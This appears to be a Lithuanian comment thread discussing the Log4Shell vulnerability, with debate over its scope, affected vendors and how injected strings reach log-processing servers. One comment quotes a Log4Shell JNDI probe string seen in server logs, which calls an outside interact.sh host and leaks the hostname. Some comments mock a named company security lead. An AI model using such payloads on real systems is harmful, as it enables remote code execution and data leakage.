IT saugumo specialistai pakraupę: tokios spragos nebuvo jau seniai

„Telia“ Saugos komandos vadovė Odeta Baranauskienė - žmoga, apie ką net Google ir Linkedin nieko nežino.... Turbūt labai svarbi vadybininkė, kuri net nesupranta apie ką kalba.

gal ji rūpinasi savo saugumu ir nesinaudoja visokio plaukio portaliūkščiais bei išlaiko privatumą?

Kam linkedinas darbo neieškančiam žmogui? Apskritai tai graudi platforma, kur seka pasakas įdarbinimo agentūros arba sau . O kalbant apie log4shell tai tikrai viena rimčiausių skylių per daug laiko, kurios mastas sunkiai suvokiamas.

Na kaip "sunkiai suvokiamas" - normaliai, kaip visada. Gal tik skirtumas, kad šiuo atveju "panika" kyla ne dėl klientam matomo frontendo, kur jau visi įpratę ten, kad reikia prižiūrėti, bet dėl atrodo visai nesusijusio backendo/analitikų/etc - to kas paprastai taip gali būt prižiūrima ir pro pirštus - gi niekas į juos paprastai nesijungia, kas ten ką sugadins :)

Manau nelabai supranti situacijos.

Manau, kad situacijos kaip tik nesupranta tie kurie dabar panikuoja dėl to naujo exploito - dauguma tokio softo kur naudojama java (nekalbu apie tiesiogiai vartotojų pasiekiamuose servuose/devaisuose (na tie mėminiai 3b vulnerable devices)) dar net nespėjo atsinaujinti iki tos 2.x versijos kur atsirado šita problema ir jie ramiai sau gyveno su dar senesnėmis problemomis/exploitais, tik nepergyveno. Na, o šiaip - nu normali problema, affected visokie elk, logstashai - t.y. dalykai į kuriuos paprastai kreipiama mažai dėmesio, na kas gi gali blogo nutikti funkcijoje log(stringas)*? ir iš čia turbūt didžiausias "pakraupimas" - o kiek dar tokių dalykų apie kuriuose niekas nežino/negalvoja ir ateina įtrauktų per dependencus ar tiesiog įhardcodinta tavo naudojamam softe :) *na kas galėjo pagavlot, kad nuo ten kažkurios versijos log() funkcija pas tave galėjo pavirsti log_fetch_and_execute? Nes kažkas random to paprašė, kažkas random pridėjo upstreame ir voilia, skylė netikėtoje vietoje. Kiek dar tokių? :)

Tu turbūt iš developerio pusės žiūri, nes nematai didžiausių bėdų. Log4j naudoja dauguma kritinio infrastruktūrinio softo gamintojų - pvz. vmware, ibm, siemens, cisco, amazon, dell/emc ir dar daug kitų. Pvz. vmware vcenter pažeidžiamumo užtektų nuverst betkokią nuo vmwaro priklausomą organizaciją su šimtais ar tūkstančiai servų. Siemens turi daug tinklinių valdiklių (pvz valdančių pastato sistemas) su šitom skylėm ir sėkmės juos atnaujinant. Apie elinius third party softelius net nekalbu.

Čia turbūt custom sprendimai iš tų įmonių. Prie kurių priėjimas ir taip apribotas. Visokius neapsižiūrinčius gal ir paveiks. Bet lietuviai sugebėjo įrengti serverinę užliejamame rūsyje, abejoju ar bus didesnės problemos, nei tas aplaidumas. Jau apie savaitę žinoma apie šitą problemą, todėl visi kas rimtai žiūri į savo infrastruktūrą jau padarė apt|yum update, o kas dar ne, patys kalti.

Čia kaip tik nieko nereikia - pvz turi nžn, tarkim web serverį/fermą. Kiekvienas savo logus - na niekad net nežiūrėsi pasijungęs, tada juo agreguoji/analzuoji vėliau. Jei iš karto tame pačiame serveryje logus renki su logstash - jau gali būti bėda. BEt jei čia takrim dar prižiūri tai dar kažkur giliai giliai tarkim sėdi kokie analitikai, kurie tuos logus vėlgi pas save visaip varto - o ten jau net labai tikėtina kas nors su java, ir dar be updeitų nes nu gi niekas ten neglai pasijungti. Ir pažeidžiamas hostas jau pats jugsis kažkur į internetus, galimai iš ten parsisiųs normalesnį exploitą ir kažkas turės "shellą" į tavo hostą kuris tiesiai iš interneto net nepasiekiamas. o dėl vmware/valdiklių - gal, bet retai jie būna matomi tieisiai random žmonėm iš interneto.

O tai kaip logą nugrūdi iki to java analitikų servo? Reikės frontende sugalvoti tokį url kuris per esamas sistemas apeitų? Kad jokių prisijungimų neturinti klientas atliktų komandą ir tarkim įrašytų shell, jam reikia žinoti daugiau nei apie šitą pažeidžiamumą, ar turėti prisijungima iš kurio gali bet kokius logus generuoti.

Kaip ati nežino googlas apie ją. Žino, netgi rodo FB, Insta, masažuotoja pasirodo yra. Gal kam aiškinant apie saugą masažą darė.

Tai taip dažniausiai ir grūdi - kas atėjo įdedi kaip stringą ir siunti toliau, pvz logstash->elasticsearch. Gi negalvoji, kad pati log funkcija tą stringą ten pradės nagrinėt. O ten jau toliau kažkas ima tą stringą ir toliau varto (pvz geriausia ironija koks nors toolsas kuris turėtų ieškoti stringuose anomalijų, mol kas gal laužo ką) - ir pats gali būt nulaužtas :) Nes nu gi pačiam serve nevaliduosi visokių nesuprantamų - tam juos ir atiduodi pilnus vėlesnei analizei, kad būtų ką analizuot.

Tiksliau norėjau paklausti, ne kaip stringas nueina, o kaip klientas jį sugrūda į visą sistemą. Na su webservais, gali įrašyti bet kokį url, ir tas bus loginama, bet lyg įsivaizdavau kad čia papildomi meta duomenys sukelia problemą. Ar kaip su sql, uždedi specifinį terminatorių, ir rašai DROP DATABASE?

Nu aš dabar gyvai pvz servuose loguose matau tipo "GET /?x=${jndi:ldap://${hostName}.randomstring.interact.sh/a} HTTP/1.1" Na - man juokinga ir tiek, bet jei tuos pačius logus dėčiau kur nors analitikam apdoroti (kas gal ypač aktualu ekomercijom pvz) - tai jau būtų nevisai juokinga. Web servui tai tik stringas, jei man būtų užduosi loginti - tokį ir sudėčiau į kokį ELK. Galėčiau net į flopikus surašyt, bet jei paėmęs koks analitikas su tikėtina ne visai pačiais naujausiais libais (jis gi saugus, gal net kokiam tipo DMZ/ofise sėdi - vadinas tikrai niekas nenulauš) - jo kompas jau visai gali sureaguot į tokį visiškai nekaltą stringą. Čia gi net nėra jokių ten tradicinių buffer overflow, nieko - tiesiog idiotiškas defaultas, kad logų vartymo biblioteka gali sugalvoti pagal jį kažkur jungtis/vykdyti kažką.

Na jei pakenks tik analitikams, aš nieko prieš, jie neneša naudos žmonijai.

Didžiausia problema su analitikais - kad užsakovas paprastai negali pateikti klausimo kurio atsakymą galima paskaičiuoti, iš to turbūt didžiausias jų nemėgimas. Jie būna įpratę skaičiuoti, o užsakovas iš tiesų galvojo jog atėjo pas būrėją :) Problema, kad jie paprastai duomenų turi daug, labai daug - daugiau nei tarkim laikoma kur nors perimetre prod'e kurį saugai kaip savo akį :) Ir duomenų leakai iš tokių koncentruotų vietų patys baisiausi.

Aš matau iš kitos perspektyvos šitą problemą. Toks duomenų rinkimas, kuris dabar yra vykdomas, yra precendento neturintis šnipinėjimas, ypač kai yra visa pilkoji rinkta tokių duomenų perpardavinėjimui. Taip tai gali padėti reklamos tiekėjui pateikti aktualesnius skelbimus, bet ir gali padėti autoritariniam rėžimui sužinoti kas yra nepaklusnus rėžimui, ir turėtų keliauti į koncentracijos stovyklas. Ir tokie rėžimai dažnai neužduoda per daug komplikuotų klausimų. Aišku čia tik juoda ir balta, bet middle ground - žmonių įtraukimas į informacijos burbulus, pagal tai kur jie turi potencialo politiškai linkti, dabar yra sukėlęs didelį visuomenės susiskaldymą, daugybe klausimų. GDPR turėtų nuo to apsaugoti EU piliečius, bet turi per daug spragų kad veiktų (legal interest bullshitas), ir neturi jokių priemonių prieš "dark patterns" (technologijos.lt, vaistai.lt). Kol žmogui nebus pateikti mygtukai "pilnai sekti" ir "visiškai nesekti", bei nebus atsižvelgiama į "do no track" naršyklės nustatymą, tol tegu tie analitikai susikiša kaktusus į ten kur saulė nešviečia. Taip tai galioja ir technologijos.lt savininkams.

Tave seka Punktyras?

izuoja.

Ne programavimo kalba kalta, kad pas kažką rankos kreivos. Pratęsiant tavo mintį, tai visi programuojantys C/C++ yra iškrypėliai kvadratu, nes Windowsai pilni skylių (bent jau buvo).